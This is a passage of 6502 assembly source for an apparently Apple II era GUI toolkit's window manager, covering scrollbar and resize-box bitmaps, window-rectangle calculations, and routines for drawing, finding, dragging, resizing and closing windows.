PIXELS "....................."
PIXELS "#........##.........."
PIXELS "#........####........"
PIXELS "#..########..##......"
PIXELS "#..##..........##...."
PIXELS "#..##............##.."
PIXELS "#..##..........##...."
PIXELS "#..########..##......"
PIXELS "#........####........"
PIXELS "#........##.........."
;; Resize Box
resize_box_bitmap:
PIXELS "#####################"
PIXELS "#...................#"
PIXELS "#..##########.......#"
PIXELS "#..##......#######..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##########...##..#"
PIXELS "#....##.........##..#"
PIXELS "#....#############..#"
PIXELS "#...................#"
PIXELS "#####################"
up_scroll_addr:
.addr up_scroll_params
down_scroll_addr:
.addr down_scroll_params
left_scroll_addr:
.addr left_scroll_params
right_scroll_addr:
.addr right_scroll_params
resize_box_addr:
.addr resize_box_params
current_window:
.word 0
sel_window_id:
.byte 0
found_window:
.word 0
target_window_id:
.byte 0
;; The root window is not a real window, but a structure whose
;; nextwinfo field lines up with current_window.
root_window_addr:
.addr current_window - MGTK::Winfo::nextwinfo
which_control := $8C
which_control_horiz := $00
which_control_vert := $80
previous_window := $A7
window := $A9
;; First 12 bytes of winfo only
PARAM_BLOCK current_winfo, $AB
id .byte
options .byte
title .addr
hscroll .byte
vscroll .byte
hthumbmax .byte
hthumbpos .byte
vthumbmax .byte
vthumbpos .byte
status .byte
reserved .byte
END_PARAM_BLOCK
;; First 16 bytes of win's grafport only
PARAM_BLOCK current_winport, $B7
viewloc .tag MGTK::Point
mapbits .addr
mapwidth .byte
reserved .byte
maprect .tag MGTK::Rect
END_PARAM_BLOCK
PARAM_BLOCK winrect, $C7
x1 .word
y1 .word
x2 .word
y2 .word
END_PARAM_BLOCK
;; Start window enumeration at top ???
.proc TopWindow
copy16 root_window_addr, previous_window
ldax current_window
bne set_found_window
end: rts
.endproc ; TopWindow
;; Look up next window in chain. $A9/$AA will point at
;; window params block (also returned in X,A).
.proc NextWindow
copy16 window, previous_window
ldy #MGTK::Winfo::nextwinfo+1
lda (window),y
beq TopWindow::end ; if high byte is 0, end of chain
tax
dey
lda (window),y
set_found_window:
stax found_window
FALL_THROUGH_TO GetWindow
.endproc ; NextWindow
;; Load/refresh the ZP window data areas at $AB and $B7.
.proc GetWindow
ldax found_window
get_from_ax:
stax window
ldy #11 ; copy first 12 bytes of window definition to
: lda (window),y ; to $AB
sta current_winfo,y
dey
bpl :-
; copy first 16 bytes of grafport to $B7
ldy #MGTK::Winfo::port + MGTK::GrafPort::pattern-1
: lda (window),y
sta current_winport - MGTK::Winfo::port,y
dey
cpy #MGTK::Winfo::port-1
bne :-
return_window:
ldax window
rts
.endproc ; GetWindow
set_found_window := NextWindow::set_found_window
;; Look up window state by id (in $82); $A9/$AA will point at
;; winfo (also X,A).
.proc WindowById
jsr TopWindow
beq end
loop: lda current_winfo::id
cmp $82
beq GetWindow::return_window
jsr NextWindow
bne loop
end: rts
.endproc ; WindowById
;; Look up window state by id (in $82); $A9/$AA will point at
;; winfo (also X,A).
;; This will exit the MGTK call directly (restoring stack, etc)
;; if the window is not found.
.proc WindowByIdOrExit
jsr WindowById
RTS_IF_NOT_ZERO
EXIT_CALL MGTK::Error::window_not_found
.endproc ; WindowByIdOrExit
.proc FrameWinRect
MGTK_CALL MGTK::FrameRect, winrect
rts
.endproc ; FrameWinRect
.proc InWinRect
MGTK_CALL MGTK::InRect, winrect
rts
.endproc ; InWinRect
;; Retrieve the rectangle of the current window and put it in winrect.
;;
;; The rectangle is defined by placing the top-left corner at the viewloc
;; of the window and setting the width and height matching the width
;; and height of the maprect of the window's port.
;;
.proc GetWinRect
COPY_BLOCK current_winport::viewloc, winrect ; copy viewloc to left/top of winrect
ldx #2
: lda current_winport::maprect + MGTK::Rect::x2,x ; x2/y2
sec
sbc current_winport::maprect + MGTK::Rect::x1,x ; x1/y1
tay
lda current_winport::maprect + MGTK::Rect::x2+1,x
sbc current_winport::maprect + MGTK::Rect::x1+1,x
pha
tya
clc
adc winrect::x1,x ; x1/y1
sta winrect::x2,x ; x2/y2
pla
adc winrect::x1+1,x
sta winrect::x2+1,x
dex
dex
bpl :-
FALL_THROUGH_TO return_winrect
.endproc ; GetWinRect
return_winrect:
ldax #winrect
rts
;; Return the window's rect including framing: title bar and scroll
;; bars.
.proc GetWinFrameRect
jsr GetWinRect
lda winrect
bne :+
dec winrect+1
: dec winrect
bit current_winfo::vscroll
bmi vert_scroll
lda current_winfo::options
and #MGTK::Option::grow_box
bne vert_scroll
lda #$01
bne :+
vert_scroll:
lda #$15
: clc
adc winrect::x2
sta winrect::x2
bcc :+
inc winrect::x2+1
: lda #1
bit current_winfo::hscroll
bpl :+
lda #$0B
: clc
adc winrect::y2
sta winrect::y2
bcc :+
inc winrect::y2+1
:
lda #MGTK::Option::dialog_box
and current_winfo::options
bne :+
lda winframe_top
: sta $82
lda winrect::y1
sec
sbc $82
sta winrect::y1
bcs return_winrect
dec winrect::y1+1
bcc return_winrect
.endproc ; GetWinFrameRect
.proc GetWinVertScrollRect
jsr GetWinFrameRect
ldax winrect::x2
subax8 #$14
stax winrect::x1
lda current_winfo::options
;;and #MGTK::Option::dialog_box
;;bne return_winrect
.assert MGTK::Option::dialog_box = 1, error, "dialog_box must be 1"
lsr
bcs return_winrect
lda winrect::y1
clc
adc wintitle_height
sta winrect::y1
bcc return_winrect
inc winrect::y1+1
bcs return_winrect
.endproc ; GetWinVertScrollRect
.proc GetWinHorizScrollRect
jsr GetWinFrameRect
get_rect:
ldax winrect::y2
subax8 #$0A
stax winrect::y1
jmp return_winrect
.endproc ; GetWinHorizScrollRect
.proc GetWinGrowBoxRect
jsr GetWinVertScrollRect
jmp GetWinHorizScrollRect::get_rect
.endproc ; GetWinGrowBoxRect
.proc GetWinTitleBarRect
jsr GetWinFrameRect
lda winrect::y1
clc
adc wintitle_height
sta winrect::y2
lda winrect::y1+1
adc #0
sta winrect::y2+1
jmp return_winrect
.endproc ; GetWinTitleBarRect
.proc GetWinGoAwayRect
jsr GetWinTitleBarRect
ldax winrect::x1
addax8 #kGoAwayLeft
stax winrect::x1
addax8 #kGoAwayWidth
stax winrect::x2
ldax winrect::y1
addax8 #kGoAwayTop
stax winrect::y1
addax8 goaway_height
stax winrect::y2
jmp return_winrect
.endproc ; GetWinGoAwayRect
.proc DrawWindow
jsr GetWinFrameRect
jsr FillAndFrameRect
preserve_content:
lda current_winfo::options
;;and #MGTK::Option::dialog_box
;;bne no_titlebar
.assert MGTK::Option::dialog_box = 1, error, "dialog_box must be 1"
lsr
bcs no_titlebar
jsr GetWinTitleBarRect
jsr FillAndFrameRect
jsr CenterTitleText
inc16 current_penloc_y ; bias glyphs downwards
ldax current_winfo::title
jsr DrawText
no_titlebar:
jsr GetWindow
bit current_winfo::vscroll
bpl no_vert_scroll
jsr GetWinVertScrollRect
jsr FrameWinRect
no_vert_scroll:
bit current_winfo::hscroll
bpl :+
jsr GetWinHorizScrollRect
jsr FrameWinRect
: lda current_winfo::options
and #MGTK::Option::grow_box
beq :+
jsr GetWinGrowBoxRect
jsr FrameWinRect
jsr GetWinVertScrollRect
jsr FrameWinRect
: jsr GetWindow
lda current_winfo::id
cmp sel_window_id
bne :+
jsr SetDesktopPort
jmp DrawWinframe
: rts
.endproc ; DrawWindow
DrawWindowPreserveContent := DrawWindow::preserve_content
;; Drawing title bar, maybe?
draw_erase_mode:
.byte 1
stripes_pattern:
stripes_pattern_alt := *+1
.byte %11111111
.byte %00000000
.byte %11111111
.byte %00000000
.byte %11111111
.byte %00000000
.byte %11111111
.byte %00000000
.byte %11111111
;;; Also sets `top` and `bottom` using "go away" rect
.proc SetStripesPattern
jsr GetWinGoAwayRect
copy16 winrect::y1, top
copy16 winrect::y2, bottom
lda winrect::y1
ror
bcc :+
MGTK_CALL MGTK::SetPattern, stripes_pattern
rts
: MGTK_CALL MGTK::SetPattern, stripes_pattern_alt
rts
.endproc ; SetStripesPattern
.proc EraseWinframe
lda #MGTK::penOR
ldx #0
beq :+ ; always
.endproc ; EraseWinframe
.proc DrawWinframe
lda #MGTK::penBIC
ldx #1
: stx draw_erase_mode
jsr SetFillMode
lda current_winfo::options
and #MGTK::Option::go_away_box | MGTK::Option::dialog_box
.assert MGTK::Option::go_away_box = 2, error, "go_away_box must be 2"
.assert MGTK::Option::dialog_box = 1, error, "dialog_box must be 1"
lsr
bcs no_goaway
beq no_goaway
;; --------------------------------------------------
;; Draw "go away" box
jsr GetWinGoAwayRect
jsr FrameWinRect
;; --------------------------------------------------
;; Draw stripes to left of "go away" box
jsr SetStripesPattern ; also inits `top` and `bottom`
kStripesXInset = 3
kTitleXInset = 10
;; Left edge
ldax winrect::x1
subax8 #kGoAwayLeft - kStripesXInset
stax left
;; Right edge
addax8 #(kGoAwayLeft - kStripesXInset) - kStripesXInset
stax right
jsr PaintRectImpl
no_goaway:
lda current_winfo::options
;;and #MGTK::Option::dialog_box
;;bne no_titlebar
.assert MGTK::Option::dialog_box = 1, error, "dialog_box must be 1"
lsr
bcs no_titlebar
;; --------------------------------------------------
;; Measure title
jsr GetWinTitleBarRect
jsr CenterTitleText
jsr PenlocToBounds ; inits `left` and `right`
;; --------------------------------------------------
;; Draw stripes to left of title
jsr SetStripesPattern ; sets `winrect` to "go away" box, inits `top` and `bottom`
;; Calculate A,X = left edge (to right of "go away" box, if necessary)
ldax winrect::x2 ; right edge of "go away" box
addax8 #kStripesXInset
tay
lda current_winfo::options
and #MGTK::Option::go_away_box
IF_ZERO
;; There was no "go away" box, so further offset left
tya
subax8 #kGoAwayLeft + kGoAwayWidth
tay
END_IF
tya
;; Stash right edge of title text temporarily in `winrect::x2`
ldy right
sty winrect::x2
ldy right+1
sty winrect::x2+1
;; Set `right` to left edge of title text
ldy left
sty right
ldy left+1
sty right+1
;; Set `left` as calculated
stax left
;; Add padding to left of title
lda right
sec
sbc #kTitleXInset
sta right
bcs :+
dec right+1
:
cmp16 right, left ; skip if degenerate
IF_POS
jsr PaintRectImpl
END_IF
;; --------------------------------------------------
;; Draw stripes to right of title
;; Use stashed right edge of title text, with padding, as `left`
add16 winrect::x2, #kTitleXInset, left
jsr GetWinTitleBarRect
;; Use right edge of window, inset, as `right`
sub16 winrect::x2, #kStripesXInset, right
jsr PaintRectImpl
MGTK_CALL MGTK::SetPattern, standard_port::pattern
;; --------------------------------------------------
no_titlebar:
jsr GetWindow
bit current_winfo::vscroll
bpl no_vscroll
jsr GetWinVertScrollRect
ldx #3
: lda winrect,x
sta up_scroll_params,x
sta down_scroll_params,x
dex
bpl :-
inc up_scroll_params::ycoord
ldax winrect::y2
subax8 #$0A
tay
lda current_winfo::options
and #MGTK::Option::grow_box
bne :+
bit current_winfo::hscroll
bpl no_hscroll
: tya
subax8 #$0B
tay
no_hscroll:
styx down_scroll_params::ycoord
ldax down_scroll_addr
jsr DrawIcon
ldax up_scroll_addr
jsr DrawIcon
no_vscroll:
bit current_winfo::hscroll
bpl no_hscrollbar
jsr GetWinHorizScrollRect
ldx #3
: lda winrect,x
sta left_scroll_params,x
sta right_scroll_params,x
dex
bpl :-
ldax winrect::x2
subax8 #$14
tay
lda current_winfo::options
and #MGTK::Option::grow_box
bne :+
bit current_winfo::vscroll
bpl no_vscroll2
: tya
subax8 #$15
tay
no_vscroll2:
styx right_scroll_params
ldax right_scroll_addr
jsr DrawIcon
ldax left_scroll_addr
jsr DrawIcon
no_hscrollbar:
lda #MGTK::pencopy
jsr SetFillMode
lda current_winfo::vscroll
lsr
bcc :+
lda #which_control_vert
sta which_control
lda draw_erase_mode
jsr DrawOrEraseScrollbar
jsr GetWindow
: lda current_winfo::hscroll
lsr
bcc :+
lda #which_control_horiz
sta which_control
lda draw_erase_mode
jsr DrawOrEraseScrollbar
jsr GetWindow
: lda current_winfo::options
and #MGTK::Option::grow_box
beq ret
jsr GetWinGrowBoxRect
lda draw_erase_mode
bne draw_resize
ldax #winrect
jmp FillAndFrameRect
;; Draw resize box
draw_resize:
ldx #3
: lda winrect,x
sta resize_box_params,x
dex
bpl :-
lda #MGTK::notpencopy
jsr SetFillMode
ldax resize_box_addr
jmp DrawIcon
ret: rts
.endproc ; DrawWinframe
.proc CenterTitleText
ldax current_winfo::title
jsr DoMeasureText
stax $82
lda winrect::x1
clc
adc winrect::x2
tay
lda winrect::x1+1
adc winrect::x2+1
tax
tya
sec
sbc $82
sta current_penloc_x
txa
sbc $83
cmp #$80
ror a
sta current_penloc_x+1
ror current_penloc_x
ldax winrect::y2
subax8 #2
stax current_penloc_y
ldax $82
rts
.endproc ; CenterTitleText
;;; ============================================================
;;; 4 bytes of params, copied to current_penloc
.proc FindWindowImpl
PARAM_BLOCK params, $EA
mousex .word
mousey .word
which_area .byte
window_id .byte
END_PARAM_BLOCK
jsr SaveParamsAndStack
MGTK_CALL MGTK::InRect, menu_bar_rect ; check if in menubar
beq not_menubar
lda #MGTK::Area::menubar
return_no_window:
ldx #0
return_result:
pha
txa
pha
;; `RestoreParamsActivePort` isn't needed, and is
;; very slow, so do the minimum here.
asl preserve_zp_flag
copy16 params_addr_save, params_addr
pla
tax
pla
ldy #params::which_area - params
jmp store_xa_at_y
not_menubar:
lda #0 ; first window we see is the selected one
sta not_selected
jsr TopWindow
beq no_windows
loop: jsr GetWinFrameRect
jsr InWinRect
bne in_window
jsr NextWindow
stx not_selected ; set to non-zero for subsequent windows
bne loop
no_windows:
lda #MGTK::Area::desktop
beq return_no_window
in_window:
lda current_winfo::options
;;and #MGTK::Option::dialog_box
;;bne in_content
.assert MGTK::Option::dialog_box = 1, error, "dialog_box must be 1"
lsr
bcs in_content
jsr GetWinTitleBarRect
jsr InWinRect
beq in_content
lda not_selected
bne :+
lda current_winfo::options
and #MGTK::Option::go_away_box
beq :+
jsr GetWinGoAwayRect
jsr InWinRect
beq :+
lda #MGTK::Area::close_box
bne return_window
: lda #MGTK::Area::dragbar
bne return_window
in_content:
lda not_selected
bne :+
lda current_winfo::options
and #MGTK::Option::grow_box
beq :+
jsr GetWinGrowBoxRect
jsr InWinRect
beq :+
lda #MGTK::Area::grow_box
return_window:
ldx current_winfo::id
bne return_result
: lda #MGTK::Area::content
bne return_window
not_selected:
.byte 0
.endproc ; FindWindowImpl
;;; ============================================================
;;; OpenWindow
;;; params points to a winfo structure
.proc OpenWindowImpl
win_id := $82
copy16 params_addr, window
ldy #MGTK::Winfo::window_id
lda (window),y
bne :+
EXIT_CALL MGTK::Error::window_id_required
: sta win_id
jsr WindowById
beq :+
EXIT_CALL MGTK::Error::window_already_exists
: copy16 params_addr, window
ldy #MGTK::Winfo::status
lda (window),y
ora #$80
sta (window),y
bmi do_select_win
.endproc ; OpenWindowImpl
;;; ============================================================
;;; SelectWindow
;;; 1 byte of params, copied to $82
.proc SelectWindowImpl
jsr WindowByIdOrExit
IF_A_EQ current_window
RTS_IF_X_EQ current_window+1
END_IF
jsr LinkWindow
do_select_win:
ldy #MGTK::Winfo::nextwinfo
lda current_window
sta (window),y
iny
lda current_window+1
sta (window),y
lda window
pha
lda window+1
pha
jsr HideCursorSaveParams
jsr SetDesktopPort
jsr TopWindow
beq :+
jsr EraseWinframe
: pla
sta current_window+1
pla
sta current_window
jsr TopWindow
lda current_winfo::id
sta sel_window_id
jsr SetDesktopPort
jsr DrawWindow
jmp ShowCursorAndRestore
.endproc ; SelectWindowImpl
do_select_win := SelectWindowImpl::do_select_win
.proc LinkWindow
ldy #MGTK::Winfo::nextwinfo
lda (window),y
sta (previous_window),y
iny
lda (window),y
sta (previous_window),y
rts
.endproc ; LinkWindow
;;; ============================================================
;;; GetWinPtr
;;; 1 byte of params, copied to $82
.proc GetWinPtrImpl
ptr := $A9
jsr WindowByIdOrExit
ldax ptr
ldy #1
jmp store_xa_at_y
.endproc ; GetWinPtrImpl
;;; ============================================================
;;; BeginUpdate
;;; 1 byte of params, copied to $82
previous_port:
.res 2
update_port:
.tag MGTK::GrafPort
.proc BeginUpdateImpl
lda $82
bne win
;; Desktop
jsr HideCursorSaveParams
jsr SetDesktopPort
MGTK_CALL MGTK::SetPortBits, set_port_params
copy16 active_port, previous_port
ldax update_port_addr
jsr assign_and_prepare_port
asl preserve_zp_flag
rts
;; Window
win: jsr WindowByIdOrExit
lda current_winfo::id
cmp target_window_id
bne :+
inc matched_target
: jsr HideCursorSaveParams
jsr SetDesktopPort
lda matched_target
bne :+
MGTK_CALL MGTK::SetPortBits, set_port_params
: jsr DrawWindow
jsr SetDesktopPort
lda matched_target
bne :+
MGTK_CALL MGTK::SetPortBits, set_port_params
: jsr GetWindow
copy16 active_port, previous_port
jsr PrepareWinport
php
ldax update_port_addr
jsr assign_and_prepare_port
asl preserve_zp_flag
plp
RTS_IF_CS
jsr EndUpdateImpl
FALL_THROUGH_TO err_obscured
.endproc ; BeginUpdateImpl
err_obscured:
EXIT_CALL MGTK::Error::window_obscured
;;; ============================================================
;;; EndUpdate
;;; 1 byte of params, copied to $82
update_port_addr:
.addr update_port
.proc EndUpdateImpl
jsr ShowCursorImpl
ldax previous_port
stax active_port
jmp SetAndPreparePort
.endproc ; EndUpdateImpl
;;; ============================================================
;;; GetWinPort
;;; 3 bytes of params, copied to $82
.proc GetWinPortImpl
PARAM_BLOCK params, $82
win_id .byte
win_port .addr
END_PARAM_BLOCK
jsr ApplyPortToActivePort
jsr WindowByIdOrExit
copy16 params::win_port, params_addr
COPY_STRUCT MGTK::Rect, desktop_mapinfo+MGTK::MapInfo::maprect, current_maprect_x1
jsr PrepareWinport
bcc err_obscured
ldy #.sizeof(MGTK::GrafPort)-1
: lda current_grafport,y
sta (params_addr),y
dey
bpl :-
jmp ApplyActivePortToPort
.endproc ; GetWinPortImpl
.proc PrepareWinport
jsr GetWinRect
ldx #7
lda #0
: sta clipped_left,x
ldy winrect,x
sty left,x
dex
bpl :-
jsr ClipRect
RTS_IF_CC
;; Load window's grafport into current_grafport.
ldy #MGTK::Winfo::port
: lda (window),y
sta current_grafport - MGTK::Winfo::port,y
iny
cpy #MGTK::Winfo::port + .sizeof(MGTK::GrafPort)
bne :-
ldx #2
: lda left,x
sta current_viewloc_x,x
lda left+1,x
sta current_viewloc_x+1,x
lda right,x
sec
sbc left,x
sta $82,x
lda right+1,x
sbc left+1,x
sta $83,x
lda current_maprect_x1,x
;;sec
sbc clipped_left,x
sta current_maprect_x1,x
lda current_maprect_x1+1,x
sbc clipped_left+1,x
sta current_maprect_x1+1,x
lda current_maprect_x1,x
clc
adc $82,x
sta current_maprect_x2,x
lda current_maprect_x1+1,x
adc $83,x
sta current_maprect_x2+1,x
dex
dex
bpl :-
sec
rts
.endproc ; PrepareWinport
;;; ============================================================
;;; SetWinPort
;;; 2 bytes of params, copied to $82
;; This updates win grafport from params ???
;; The math is weird; $82 is the window id so
;; how does ($82),y do anything useful - is
;; this buggy ???
;; It seems like it's trying to update a fraction
;; of the drawing port (from `pattern` to `font`)
.proc SetWinPortImpl
ptr := window
jsr WindowByIdOrExit
lda ptr
clc
adc #MGTK::Winfo::port
sta ptr
bcc :+
inc ptr+1
: ldy #.sizeof(MGTK::GrafPort)-1
loop: lda ($82),y
sta (ptr),y
dey
cpy #$10
bcs loop
rts
.endproc ; SetWinPortImpl
;;; ============================================================
;;; FrontWindow
.proc FrontWindowImpl
jsr TopWindow
beq nope
lda current_winfo::id
bne :+
nope: lda #0
: ldy #0
sta (params_addr),y
rts
.endproc ; FrontWindowImpl
;;; ============================================================
;;; TrackGoAway
in_close_box: .byte 0
.proc TrackGoAwayImpl
jsr TopWindow
beq end
jsr GetWinGoAwayRect
jsr SaveParamsAndStack
jsr SetDesktopPort
lda #$80
toggle: sta in_close_box
jsr SetFillModeXOR
jsr HideCursorImpl
MGTK_CALL MGTK::PaintRect, winrect
jsr ShowCursorImpl
loop: jsr GetAndReturnEvent
cmp #MGTK::EventKind::button_up
beq :+
MGTK_CALL MGTK::MoveTo, cursor_pos
jsr InWinRect
eor in_close_box
bpl loop
lda in_close_box
eor #$80
jmp toggle
: jsr RestoreParamsActivePort
ldy #0
lda in_close_box
asl
rol
end: sta (params_addr),y
rts
.endproc ; TrackGoAwayImpl
;;; ============================================================
.params drag_initialpos
xcoord: .res 2
ycoord: .res 2
.endparams
.params drag_curpos
xcoord: .res 2
ycoord: .res 2
.endparams
.params drag_delta
xdelta: .res 2
ydelta: .res 2
.endparams
;; High bit set if window is being resized, clear if moved.
drag_resize_flag:
.byte 0
;;; ============================================================
;;; 5 bytes of params, copied to $82
GrowWindowImpl:
lda #$80
bmi DragWindowImpl_drag_or_grow
;;; ============================================================
;;; 5 bytes of params, copied to $82
.proc DragWindowImpl
PARAM_BLOCK params, $82
window_id .byte
dragx .word
dragy .word
moved .byte
END_PARAM_BLOCK
lda #0
drag_or_grow:
sta drag_resize_flag
jsr KbdMouseInitTracking
ldx #3
: lda params::dragx,x
sta drag_initialpos,x
sta drag_curpos,x
lda #0
sta drag_delta,x
dex
bpl :-
jsr WindowByIdOrExit
bit kbd_mouse_state
bpl :+
jsr KbdWinDragOrGrow
: jsr HideCursorSaveParams
jsr WinframeToSetPort
jsr SetFillModeXOR
MGTK_CALL MGTK::SetPattern, checkerboard_pattern
loop: jsr GetWindow
jsr UpdateWinForDrag
jsr GetWinFrameRect
jsr FrameWinRect
jsr ShowCursorImpl
no_change:
jsr GetAndReturnEvent
cmp #MGTK::EventKind::button_up
bne dragging
jsr FrameWinRect
bit movement_cancel
bmi canceled
ldx #3
: lda drag_delta,x
bne changed
dex
bpl :-
canceled:
jsr ShowCursorAndRestore
lda #0
return_moved:
ldy #params::moved - params
sta (params_addr),y
rts
changed:
ldy #MGTK::Winfo::port
: lda current_winport - MGTK::Winfo::port,y
sta (window),y
iny
cpy #MGTK::Winfo::port + 16
bne :-
jsr HideCursorImpl
lda current_winfo::id
jsr EraseWindow
jsr HideCursorSaveParams
bit movement_cancel
bvc :+
jsr SetInput
: jsr ShowCursorAndRestore
lda #$80
bne return_moved
dragging:
jsr CheckIfChanged
beq no_change
jsr HideCursorImpl
jsr FrameWinRect
jmp loop
.endproc ; DragWindowImpl
.proc UpdateWinForDrag
win_width := $82
PARAM_BLOCK content, $C7
minwidth .word
minheight .word
maxwidth .word
maxheight .word
END_PARAM_BLOCK
;; Copy mincontwidth..maxcontheight from the window to content
ldy #MGTK::Winfo::port-1
: lda (window),y
sta content - MGTK::Winfo::mincontwidth,y
dey
cpy #MGTK::Winfo::mincontwidth-1
bne :-
ldx #0
stx force_tracking_change
bit drag_resize_flag
bmi grow
: add16 current_winport::viewloc + MGTK::Point::xcoord,x, drag_delta,x, current_winport::viewloc + MGTK::Point::xcoord,x
inx
inx
cpx #4
bne :-
lda #$12
cmp current_winport::viewloc + MGTK::Point::ycoord
bcc :+
sta current_winport::viewloc + MGTK::Point::ycoord
: rts
grow: lda #0
sta grew_flag
loop: add16 current_winport::maprect + MGTK::Rect::x2,x, drag_delta,x, current_winport::maprect + MGTK::Rect::x2,x
sub16 current_winport::maprect + MGTK::Rect::x2,x, current_winport::maprect + MGTK::Rect::x1,x, win_width
;;sec
lda win_width
sbc content::minwidth,x
lda win_width+1
sbc content::minwidth+1,x
bpl :+
add16 content::minwidth,x, current_winport::maprect + MGTK::Rect::x1,x, current_winport::maprect + MGTK::Rect::x2,x
bcc set_grew ; always
: sec
lda content::maxwidth,x
sbc win_width
lda content::maxwidth+1,x
sbc win_width+1
bpl next
add16 content::maxwidth,x, current_winport::maprect + MGTK::Rect::x1,x, current_winport::maprect + MGTK::Rect::x2,x
set_grew:
jsr SetGrewFlag
next: inx
inx
cpx #4
bne loop
jmp FinishGrow
.endproc ; UpdateWinForDrag
;; Return with Z=1 if the drag position was not changed, or Z=0
;; if the drag position was changed or force_tracking_change is set.
.proc CheckIfChanged
ldx #2
ldy #0
loop: lda GetAndReturnEvent::event::mouse_pos+1,x
cmp drag_curpos+1,x
bne :+
iny
:
lda GetAndReturnEvent::event::mouse_pos,x
cmp drag_curpos,x
bne :+
iny
: sta drag_curpos,x
sec
sbc drag_initialpos,x
sta drag_delta,x
lda GetAndReturnEvent::event::mouse_pos+1,x
sta drag_curpos+1,x
sbc drag_initialpos+1,x
sta drag_delta+1,x
dex
dex
bpl loop
cpy #4
bne :+
lda force_tracking_change
: rts
.endproc ; CheckIfChanged
DragWindowImpl_drag_or_grow := DragWindowImpl::drag_or_grow
;;; ============================================================
;;; CloseWindow
;;; 1 byte of params, copied to $82
.proc CloseWindowImpl
jsr WindowByIdOrExit
jsr HideCursorSaveParams
jsr WinframeToSetPort
php ; Save C=1 if valid port
jsr LinkWindow
ldy #MGTK::Winfo::status
lda (window),y
and #$7F
sta (window),y
jsr TopWindow
lda current_winfo::id
sta sel_window_id
plp
IF_CC
;; Port was not valid; the window was entirely offscreen, so
;; erasing and posting updates is not required. But newly
;; active window may need redrawing.
jsr TopWindow
IF_NE
jsr SetDesktopPort
jsr DrawWindowPreserveContent
END_IF
jmp ShowCursorAndRestore
END_IF
lda #0
beq EraseWindow
.endproc ; CloseWindowImpl
;;; ============================================================
;;; CloseAll
.proc CloseAllImpl
jsr TopWindow
beq :+
ldy #MGTK::Winfo::status
lda (window),y
and #$7F
sta (window),y
jsr LinkWindow
jmp CloseAllImpl
: jmp StartDeskTopImpl::reset_desktop
.endproc ; CloseAllImpl
.proc WinframeToSetPort
jsr SetDesktopPort
jsr GetWinFrameRect
COPY_BLOCK winrect, left
jsr ClipRect
ldx #3
: lda left,x
sta set_port_maprect,x
sta set_port_params,x
lda right,x
sta set_port_size,x
dex
bpl :-
rts
.endproc ; WinframeToSetPort
matched_target:
.byte 0
;; Erases window after destruction
.proc EraseWindow
sta target_window_id
lda #0
sta matched_target
MGTK_CALL MGTK::SetPortBits, set_port_params
lda #MGTK::pencopy
jsr SetFillMode
MGTK_CALL MGTK::SetPattern, desktop_pattern
MGTK_CALL MGTK::PaintRect, set_port_maprect
jsr ShowCursorAndRestore
php
sei
jsr FlushEventsImpl
;; Update for the desktop
jsr PutEvent
bcs plp_ret
tax
lda #MGTK::EventKind::update
sta eventbuf::kind,x
lda #0
sta eventbuf::window_id,x
;; Updates for windows
jsr TopWindow
beq plp_ret
: jsr NextWindow
bne :-
loop: jsr PutEvent
bcs plp_ret
tax
lda #MGTK::EventKind::update
sta eventbuf::kind,x
lda current_winfo::id
sta eventbuf::window_id,x
lda current_winfo::id
cmp sel_window_id
beq plp_ret
sta $82
jsr WindowById
ldax previous_window
jsr GetWindow::get_from_ax
jmp loop
plp_ret:
plp
rts
.endproc ; EraseWindow
kGoAwayLeft = 12
kGoAwayWidth = 12
kGoAwayTop = 3
goaway_height: .word 6 ; font height - 3
wintitle_height:.word 12 ; font height + 3
winframe_top: .word 13 ; font height + 4
.params set_port_params
DEFINE_POINT viewloc, 0,$D
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved: .byte 0
DEFINE_RECT maprect, 0,0,0,0
REF_MAPINFO_MEMBERS
.endparams
set_port_top := set_port_params::viewloc::ycoord
set_port_size := set_port_params::maprect::x2
set_port_maprect := set_port_params::maprect::x1 ; Re-used since h/voff are 0
;;; ============================================================
;;; WindowToScreen
;; $83/$84 += $B7/$B8
;; $85/$86 += $B9/$BA
.proc WindowToScreenImpl
PARAM_BLOCK params, $82
window_id .byte
windowx .word
windowy .word
screenx .word ; out
screeny .word ; out
END_PARAM_BLOCK
jsr WindowByIdOrExit
ldx #2
loop: add16 params::windowx,x, current_winport::viewloc,x, params::windowx,x
dex
dex
bpl loop
bmi CopyMapResults ; always
.endproc ; WindowToScreenImpl
;;; ============================================================
;;; ScreenToWindow
;;; 5 bytes of params, copied to $82
.proc ScreenToWindowImpl
PARAM_BLOCK params, $82
window_id .byte
screenx .word
screeny .word
windowx .word ; out
windowy .word ; out
END_PARAM_BLOCK
jsr WindowByIdOrExit
ldx #2
: sub16 params::screenx,x, current_winport::viewloc,x, params::screenx,x
dex
dex
bpl :-
FALL_THROUGH_TO CopyMapResults
.endproc ; ScreenToWindowImpl
.proc CopyMapResults
ldy #ScreenToWindowImpl::params::windowx - ScreenToWindowImpl::params
: lda ScreenToWindowImpl::params + (ScreenToWindowImpl::params::screenx - ScreenToWindowImpl::params::windowx),y
sta (params_addr),y
iny
cpy #.sizeof(ScreenToWindowImpl::params) ; results are 2 words (x, y) at params_addr+5
bne :-
rts
.endproc ; CopyMapResults
;;; ============================================================
;; Used to draw scrollbar arrows and resize box
.proc DrawIcon
icon_ptr := $82
stax icon_ptr
ldy #3
: lda #0
sta PaintBitsImpl::dbi_left,y
lda (icon_ptr),y
sta left,y
dey
bpl :-
iny
sty $91 ; zero
ldy #Bitmap::width
lda (icon_ptr),y
tax
lda div7_table+7,x
sta src_mapwidth
txa
ldx left+1
addax8 left
stax right
iny
lda (icon_ptr),y ; height
ldx top+1
addax8 top
stax bottom
iny
lda (icon_ptr),y
sta bits_addr
iny
lda (icon_ptr),y
sta bits_addr+1
jmp BitBltImpl
.endproc ; DrawIcon
;;; ============================================================
;;; ActivateCtl
;;; 2 bytes of params, copied to $8C
.proc ActivateCtlImpl
PARAM_BLOCK params, $8C
which_ctl .byte
activate .byte
END_PARAM_BLOCK
lda #which_control_vert
ldx which_control
cpx #MGTK::Ctl::vertical_scroll_bar
beq activate
;;lda #which_control_horiz
.assert which_control_vert = $80, error, "which_control_vert must be $80"
.assert which_control_horiz = 0, error, "which_control_horiz must be 0"
asl
cpx #MGTK::Ctl::horizontal_scroll_bar
beq activate
rts
activate:
sta which_control
jsr TopWindow
ldy #MGTK::Winfo::vscroll
bit which_control
bpl :+
lda current_winfo::vscroll
bne toggle
: lda current_winfo::hscroll
;;ldy #MGTK::Winfo::hscroll
